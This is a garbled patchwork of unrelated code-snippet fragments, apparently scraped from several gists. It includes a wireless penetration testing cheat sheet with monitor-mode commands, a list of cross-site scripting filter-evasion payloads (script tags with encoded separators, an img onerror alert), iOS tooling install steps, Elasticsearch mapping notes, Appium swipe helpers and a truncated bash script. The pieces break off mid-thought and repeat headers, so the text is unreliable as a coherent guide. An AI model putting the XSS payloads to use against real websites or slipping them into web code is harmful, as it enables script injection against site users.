#Wireless Penetration Testing Cheat Sheet
##WIRELESS ANTENNA
- Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
curl -s http://ascii-middle-finger.com/ | grep -A 10 '<pre>' | grep -v 'pre' |
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
#Wireless Penetration Testing Cheat Sheet
##WIRELESS ANTENNA
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
Install libimobiledevice on Mac OS X | |
So you'd like to manage your iOS devices by command line? | |
You can use libimobiledevice tools for that. | |
Easy on Linux. Let's see how it is on Mac OS X. | |
You'll need to: | |
1. install Xcode | |
2. start Xcode and agree to it's license | |
3. install Xcode command line tools (Start Xcode, Go to Preferences -> Downloads tab) | |
4. install homebrew by this command (sudo password will be prompted) |
In your Genymotion Android emulator…
You should now be able to see Genymotion traffic showing up in your Charles Proxy
Implicit/Dynamic Mapping: Indexing the document without defining the mappings, new fields will be added to the top level and nested. Helps to index data faster, the optimized way of indexing will help indexing perform better with the following.
date_detection
and set the dynamic_date_formats
"numeric_detection": true
"10"
it will be either saved as floating point or a string but not integer, to make it strict we use coerce
at index level of field level#swipe to top | |
def swipe_to_top(element, duration) | |
elem = element | |
x = elem.location.x | |
y = elem.location.y | |
Appium::TouchAction.swipe(start_x: x, start_y: y, duration: duration) | |
end | |
#when you need to just horizontally swipe carousel of elements or similar (when 2 elements are present) | |
def swipe_horizontally(element_s, element_e, duration) |
#!/bin/bash | |
if [[ $EUID -ne 0 ]]; then | |
echo "You must be root" | |
exit 1 | |
fi | |
service="Wi-Fi" | |
while true; do |